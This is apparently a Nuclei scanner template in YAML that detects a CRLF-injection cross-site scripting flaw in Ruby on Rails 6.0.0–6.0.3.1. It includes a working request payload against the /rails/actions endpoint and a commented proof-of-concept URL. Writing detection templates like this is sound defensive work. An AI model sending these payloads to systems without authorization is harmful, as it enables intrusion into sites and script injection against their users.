43 lines
1.4 KiB
YAML
43 lines
1.4 KiB
YAML
id: rails6-xss
|
|
|
|
# XSS (6.0.0 - 6.0.3.1); Payload is location=%0djavascript:alert(1);
|
|
# Nuclei has issues with 302 response missing a Location header thus the
|
|
# extended payload to make Nuclei work.
|
|
# Working poc by @Mad-robot
|
|
# /rails/actions?error=ActiveRecord::PendingMigrationError&action=Run%20pending%20migrations&location=%0Djavascript%3Aalert%28document.domain%29
|
|
info:
|
|
name: Ruby on Rails - CRLF Injection and Cross-Site Scripting
|
|
author: ooooooo_q,rootxharsh,iamnoooob
|
|
severity: medium
|
|
description: Ruby on Rails 6.0.0-6.0.3.1 contains a CRLF issue which allows JavaScript to be injected into the response, resulting in cross-site scripting.
|
|
reference:
|
|
- https://hackerone.com/reports/904059
|
|
metadata:
|
|
max-request: 1
|
|
tags: rails,xss,crlf,hackerone
|
|
|
|
http:
|
|
- method: POST
|
|
path:
|
|
- "{{BaseURL}}/rails/actions?error=ActiveRecord::PendingMigrationError&action=Run%20pending%20migrations&location=%0djavascript:alert(1)//%0aaaaaa"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- 'javascript:alert(1)'
|
|
part: body
|
|
|
|
- type: status
|
|
status:
|
|
- 302
|
|
|
|
- type: word
|
|
words:
|
|
- 'Location: aaaaa'
|
|
- 'text/html'
|
|
part: header
|
|
condition: and
|
|
|
|
# digest: 4a0a00473045022100b2b23efd1f25ed4f38c04e28e6009e7c4135b763d70a13e1692e9169c4d0160902205ce411f94817587139aa8e279e05694e334d08a5ce79fa5ee3b07e075cf4b4af:922c64590222798bb761d5b6d8e72950
|